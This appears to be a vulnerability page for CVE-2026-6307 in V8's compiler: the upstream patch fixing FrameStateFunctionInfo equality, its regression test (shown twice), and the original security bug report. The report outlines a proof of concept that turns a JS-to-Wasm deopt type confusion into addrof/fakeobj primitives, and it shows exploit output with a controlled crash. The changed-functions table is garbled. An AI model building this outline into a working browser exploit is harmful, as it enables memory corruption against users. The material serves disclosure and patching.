CVE-2026-6307
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
bytecode_array_src/compiler/frame-states.h |
modified | |
iftest/mjsunit/regress/wasm/regress-497404188.js |
modified | |
fortest/mjsunit/regress/wasm/regress-497404188.js |
modified |
Files Changed
src/compiler/frame-states.ccsrc/compiler/frame-states.htest/mjsunit/regress/wasm/regress-497404188.js
Patch
From 07398289d921facaa713a6f2d1c411ec1ae1f695 Mon Sep 17 00:00:00 2001
From: Paolo Severini <paolosev@microsoft.com>
Date: Tue, 31 Mar 2026 13:05:12 +0200
Subject: [PATCH] [compiler] Fix FrameStateFunctionInfo comparison for JS-to-Wasm frames
The equality operator for FrameStateFunctionInfo did not compare the
wasm signature field in JSToWasmFrameStateFunctionInfo. This could
cause CSE to incorrectly merge FrameState nodes with different wasm
signatures, leading to the deoptimizer using the wrong return type
when materializing a JS-to-Wasm builtin continuation frame.
Bug: 497404188
Change-Id: I671cda5784089dd9875d90c5f48e8580cb5fa697
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7709449
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Reviewed-by: Daniel Lehmann <dlehmann@chromium.org>
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106175}
---
diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107..5312f07 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@
bool operator==(FrameStateFunctionInfo const& lhs,
FrameStateFunctionInfo const& rhs) {
#if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static_assert.
#if V8_ENABLE_WEBASSEMBLY
static_assert(sizeof(FrameStateFunctionInfo) == 40);
+ static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
#else
static_assert(sizeof(FrameStateFunctionInfo) == 32);
#endif
@@ -52,6 +53,18 @@
lhs.wasm_function_index() != rhs.wasm_function_index()) {
return false;
}
+
+ // JSToWasmFrameStateFunctionInfo has an additional signature_ field.
+ // Two frame states with different wasm signatures must not compare equal,
+ // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+ // signature to materialize the continuation frame.
+ if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+ rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+ if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+ static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+ return false;
+ }
+ }
#endif
return lhs.type() == rhs.type() &&
diff --git a/src/compiler/frame-states.h b/src/compiler/frame-states.h
index 1faaa59..e17798a 100644
--- a/src/compiler/frame-states.h
+++ b/src/compiler/frame-states.h
@@ -108,6 +108,10 @@
bytecode_array_(bytecode_array) {
}
+ // Prevent slicing when copying through base-class references.
+ FrameStateFunctionInfo(const FrameStateFunctionInfo&) = delete;
+ FrameStateFunctionInfo& operator=(const FrameStateFunctionInfo&) = delete;
+
int local_count() const { return local_count_; }
uint16_t parameter_count() const { return parameter_count_; }
uint16_t parameter_count_without_receiver() const {
diff --git a/test/mjsunit/regress/wasm/regress-497404188.js b/test/mjsunit/regress/wasm/regress-497404188.js
new file mode 100644
index 0000000..54992bd
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-497404188.js
@@ -0,0 +1,92 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-maglev
+
+// Regression test for a type confusion in the deoptimizer caused by missing
+// signature comparison in FrameStateFunctionInfo::operator==.
+// Two wasm functions with different return types (externref vs i64) but
+// identical parameter signatures can have their JSToWasmBuiltinContinuation
+// frame states merged by CSE. On lazy deopt, the deoptimizer then uses the
+// wrong signature to materialize the result, reading a tagged reference as
+// an untagged i64 or vice versa.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function makeInstance(callback) {
+ const builder = new WasmModuleBuilder();
+ const callback_index = builder.addImport('env', 'callback', kSig_v_v);
+
+ // Mutable Wasm globals to hold the return values for the two functions. The
+ // callback can modify these to trigger deopt at the right moment and test
+ // that the correct type is materialized after deopt.
+ const g_ref =
+ builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');
+ const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
+
+ // Returns an externref global after calling the callback (which may trigger
+ // deopt).
+ builder.addFunction('return_ref', kSig_r_v)
+ .addBody([
+ kExprCallFunction, callback_index,
+ kExprGlobalGet, g_ref.index,
+ ])
+ .exportFunc();
+
+ // Returns an i64 global after calling the callback (which may trigger deopt).
+ builder.addFunction('return_i64', kSig_l_v)
+ .addBody([
+ kExprCallFunction, callback_index,
+ kExprGlobalGet, g_i64.index,
+ ])
+ .exportFunc();
+
+ return builder.instantiate({env: {callback}}).exports;
+}
+
+(function testNoTypeConfusionOnLazyDeopt() {
+ let arm_deopt = false;
+
+ function ProtoForI64() {}
+ function ProtoForRef() {}
+
+ const exports_ = makeInstance(() => {
+ // Trigger deopt by changing the prototype after optimization.
+ if (arm_deopt) {
+ ProtoForRef.prototype.deopt_marker = 1;
+ }
+ });
+
+ // Install wasm getters with different return types on different prototypes.
+ Object.defineProperty(
+ ProtoForI64.prototype, 'x', {get: exports_.return_i64});
+ Object.defineProperty(
+ ProtoForRef.prototype, 'x', {get: exports_.return_ref});
+
+ function foo(o) {
+ return o.x;
+ }
+
+ const obj_i64 = new ProtoForI64();
+ const obj_ref = new ProtoForRef();
+
+ const sentinel = {tag: 'sentinel'};
+ exports_.g_ref.value = sentinel;
+ exports_.g_i64.value = 42n;
+
+ // Train the function with both receiver types.
+ %PrepareFunctionForOptimization(foo);
+ for (let i = 0; i < 20; ++i) {
+ foo(obj_i64);
+ foo(obj_ref);
+ }
+
+ // Optimize and run once without deopt.
+ %OptimizeFunctionOnNextCall(foo);
+ assertEquals(42n, foo(obj_i64));
+
+ arm_deopt = true;
+ const result = foo(obj_ref);
+ assertEquals(sentinel, result);
+})();
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-497404188.js b/test/mjsunit/regress/wasm/regress-497404188.js
new file mode 100644
index 0000000..54992bd
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-497404188.js
@@ -0,0 +1,92 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-maglev
+
+// Regression test for a type confusion in the deoptimizer caused by missing
+// signature comparison in FrameStateFunctionInfo::operator==.
+// Two wasm functions with different return types (externref vs i64) but
+// identical parameter signatures can have their JSToWasmBuiltinContinuation
+// frame states merged by CSE. On lazy deopt, the deoptimizer then uses the
+// wrong signature to materialize the result, reading a tagged reference as
+// an untagged i64 or vice versa.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function makeInstance(callback) {
+ const builder = new WasmModuleBuilder();
+ const callback_index = builder.addImport('env', 'callback', kSig_v_v);
+
+ // Mutable Wasm globals to hold the return values for the two functions. The
+ // callback can modify these to trigger deopt at the right moment and test
+ // that the correct type is materialized after deopt.
+ const g_ref =
+ builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');
+ const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
+
+ // Returns an externref global after calling the callback (which may trigger
+ // deopt).
+ builder.addFunction('return_ref', kSig_r_v)
+ .addBody([
+ kExprCallFunction, callback_index,
+ kExprGlobalGet, g_ref.index,
+ ])
+ .exportFunc();
+
+ // Returns an i64 global after calling the callback (which may trigger deopt).
+ builder.addFunction('return_i64', kSig_l_v)
+ .addBody([
+ kExprCallFunction, callback_index,
+ kExprGlobalGet, g_i64.index,
+ ])
+ .exportFunc();
+
+ return builder.instantiate({env: {callback}}).exports;
+}
+
+(function testNoTypeConfusionOnLazyDeopt() {
+ let arm_deopt = false;
+
+ function ProtoForI64() {}
+ function ProtoForRef() {}
+
+ const exports_ = makeInstance(() => {
+ // Trigger deopt by changing the prototype after optimization.
+ if (arm_deopt) {
+ ProtoForRef.prototype.deopt_marker = 1;
+ }
+ });
+
+ // Install wasm getters with different return types on different prototypes.
+ Object.defineProperty(
+ ProtoForI64.prototype, 'x', {get: exports_.return_i64});
+ Object.defineProperty(
+ ProtoForRef.prototype, 'x', {get: exports_.return_ref});
+
+ function foo(o) {
+ return o.x;
+ }
+
+ const obj_i64 = new ProtoForI64();
+ const obj_ref = new ProtoForRef();
+
+ const sentinel = {tag: 'sentinel'};
+ exports_.g_ref.value = sentinel;
+ exports_.g_i64.value = 42n;
+
+ // Train the function with both receiver types.
+ %PrepareFunctionForOptimization(foo);
+ for (let i = 0; i < 20; ++i) {
+ foo(obj_i64);
+ foo(obj_ref);
+ }
+
+ // Optimize and run once without deopt.
+ %OptimizeFunctionOnNextCall(foo);
+ assertEquals(42n, foo(obj_i64));
+
+ arm_deopt = true;
+ const result = foo(obj_ref);
+ assertEquals(sentinel, result);
+})();
Original Bug Report
FrameState: polymorphic Wasm accessor lazy deopt type confusion lead to in-sandbox corruption
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
FrameState: polymorphic Wasm accessor lazy deopt type confusion lead to in-sandbox corruption and potential heap sandbox escape
FrameStateFunctionInfo extends FrameStateFunctionInfo with a WebAssembly-only subclass:
class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
public:
// ...
const wasm::CanonicalSig* signature() const { return signature_; }
private:
const wasm::CanonicalSig* const signature_;
};
That signature is the only place where a JS_TO_WASM_BUILTIN_CONTINUATION_FRAME remembers how the deoptimizer must decode the raw Wasm return value. The current equality operator ignores that field completely:
bool operator==(FrameStateFunctionInfo const& lhs,
FrameStateFunctionInfo const& rhs) {
// ...
return lhs.type() == rhs.type() &&
lhs.parameter_count() == rhs.parameter_count() &&
lhs.max_arguments() == rhs.max_arguments() &&
lhs.local_count() == rhs.local_count() &&
lhs.shared_info().equals(rhs.shared_info()) &&
lhs.bytecode_array().equals(rhs.bytecode_array());
}
When it builds FrameState nodes for JS-to-Wasm lazy deopts from that incomplete key:
FrameState CreateBuiltinContinuationFrameStateCommon(
JSGraph* jsgraph, FrameStateType frame_type, Builtin name, Node* closure,
Node* context, Node* const* parameters, int parameter_count,
Node* outer_frame_state,
Handle<SharedFunctionInfo> shared = Handle<SharedFunctionInfo>(),
const wasm::CanonicalSig* signature = nullptr) {
TFGraph* const graph = jsgraph->graph();
CommonOperatorBuilder* const common = jsgraph->common();
const Operator* op_param =
common->StateValues(parameter_count, SparseInputMask::Dense());
Node* params_node = graph->NewNode(op_param, parameter_count, parameters);
BytecodeOffset bailout_id = Builtins::GetContinuationBytecodeOffset(name);
#if V8_ENABLE_WEBASSEMBLY
const FrameStateFunctionInfo* state_info =
signature ? common->CreateJSToWasmFrameStateFunctionInfo(
frame_type, parameter_count, 0, shared, signature)
: common->CreateFrameStateFunctionInfo(
frame_type, parameter_count, 0, 0, shared, {});
#else
DCHECK_NULL(signature);
const FrameStateFunctionInfo* state_info =
common->CreateFrameStateFunctionInfo(frame_type, parameter_count, 0, 0,
shared, {});
#endif // V8_ENABLE_WEBASSEMBLY
const Operator* op = common->FrameState(
bailout_id, OutputFrameStateCombine::Ignore(), state_info);
return FrameState(graph->NewNode(op, params_node, jsgraph->EmptyStateValues(),
jsgraph->EmptyStateValues(), context,
closure, outer_frame_state));
}
CommonOperatorBuilder::FrameState marks the operator as Operator::kPure, and ValueNumberingReducer merges pure nodes by NodeProperties::Equals. NodeProperties::Equals compares the operator and all inputs. For FrameState operators the operator comparison reaches FrameStateInfo, which reaches the incomplete FrameStateFunctionInfo equality above. As a result, two JS-to-Wasm continuation frame states with different Wasm signatures are treated as equal whenever all other fields and inputs match.
VERSION
Chrome Version: ed1784dd41c51578eb6547f71ff18af357bda2d8 (Sat Mar 28 2026) It should affect the latest stable release at the time of this report.
REPRODUCTION CASE
Full proof-of-concept is attached.
Here we would like to briefly describe the idea of the PoC. Consider the following JavaScript code:
const instance = makeModuleWithMutableGlobals();
const {setRef, rr, setI, ri} = instance.exports;
setRef({ blah: 0x12345678 });
setI(0x12345679);
function A() {}
function B() {}
Object.defineProperty(A.prototype, "x", {get: rr});
Object.defineProperty(B.prototype, "x", {get: ri});
function foo(o) {
return o.x;
}
After warming foo on both A and B, the optimized graph contains two different JS_TO_WASM_BUILTIN_CONTINUATION_FRAME nodes before early optimization and only one afterwards. A trace on the current tip shows exactly that:
#59:FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 787, Ignore](..., #17:FrameState)
#125:FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 787, Ignore](..., #17:FrameState)
----- Graph after V8.TFEarlyOptimization -----
#166:Call[WasmFunctionIndirect:wasm-call:r1s0i2f1](..., #59:FrameState, ...)
Before TFEarlyOptimization, the i32 branch uses #125. After value numbering, the i32 branch call #166 uses #59, which is the continuation frame state that was originally created for the externref branch. The two states were merged only because signature_ was omitted from FrameStateFunctionInfo equality.
That merged frame state directly changes how deoptimization decodes the raw return value:
InstructionSelector::GetFrameStateDescriptorInternaldowncasts the function info toJSToWasmFrameStateFunctionInfoand storesfunction_info->signature()inJSToWasmFrameStateDescriptor.JSToWasmFrameStateDescriptorcomputesreturn_kind_ = wasm::WasmReturnTypeFromSignature(wasm_signature).CodeGenerator::BuildTranslationForFrameStateDescriptorserializes thatreturn_kind.Deoptimizer::TranslatedValueForWasmReturnKindreconstructs the return value from machine registers according to that kind.
In our proof-of-concept, we would like to demonstrate a type confusion between externref and i64, which allows us to construct fakeobj and addrof primitives immediately.
Please run with:
./out.gn/x64.release/d8 --allow-natives-syntax exp.js
the expected output will be:
[+] test addrof: 0x00000e9a010b52e1
[+] now compare with the expected value
DebugPrint: 0xe9a010b52e1: [JS_OBJECT_TYPE]
- map: 0x0e9a010350e5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e9a01005b55 <Object map = 0xe9a01004ecd>
- elements: 0x0e9a000007e5 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e9a000007e5 <FixedArray[0]>
- All own properties (excluding elements): {
0xe9a0101e381: [String] in OldSpace: #blah: 25788785 (const data field 3, in-obj, attrs: [WEC])
}
0xe9a010350e5: [Map] in OldSpace
- map: 0x0e9a01004951 <MetaMap (0x0e9a010049a1 <NativeContext[307]>)>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x0e9a01030fc5 <Map[16](HOLEY_ELEMENTS)>
- prototype_validity_cell: 0x0e9a00000af1 <Cell value= [cleared]>
- instance descriptors (own) #1: 0x0e9a010b52c1 <DescriptorArray[1]>
- prototype: 0x0e9a01005b55 <Object map = 0xe9a01004ecd>
- constructor: 0x0e9a010053e9 <JSFunction Object (sfi = 0xe9a001d6ef1)>
- dependent code: 0x0e9a000007f5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
[+] fake_test: [object Object]
[+] fake_test.blah = 0x0000000025788785
[+] now ready to crash
Received signal 11 SEGV_MAPERR 000041414140
==== C stack trace ===============================
./out.gn/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x1e) [0x5612a4fed29e]
./out.gn/x64.release/d8(+0x30271ef) [0x5612a4fed1ef]
/usr/lib/libc.so.6(+0x3e2d0) [0x7fe75c2952d0]
./out.gn/x64.release/d8(_ZNK2v88internal15TranslatedValue11GetRawValueEv+0x84) [0x5612a389fa94]
./out.gn/x64.release/d8(_ZN2v88internal11FrameWriter19PushTranslatedValueERKNS0_15TranslatedFrame8iteratorEPKc+0x20) [0x5612a389a000]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer28DoComputeBuiltinContinuationEPNS0_15TranslatedFrameEiNS0_23BuiltinContinuationModeE+0x7fe) [0x5612a3898eae]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer21DoComputeOutputFramesEv+0x41d) [0x5612a3892f8d]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer19ComputeOutputFramesEPS1_+0xe) [0x5612a3892b4e]
./out.gn/x64.release/d8(+0x2e006c8) [0x5612a4dc66c8]
[end of stack trace]
[1] 2918607 segmentation fault (core dumped) ./out.gn/x64.release/d8
d8 was compiled with the following args.gn:
dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
dcheck_always_on = false
Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.
Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: Arbitrary memory access
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Project WhatForLunch (@pjwhatforlunch)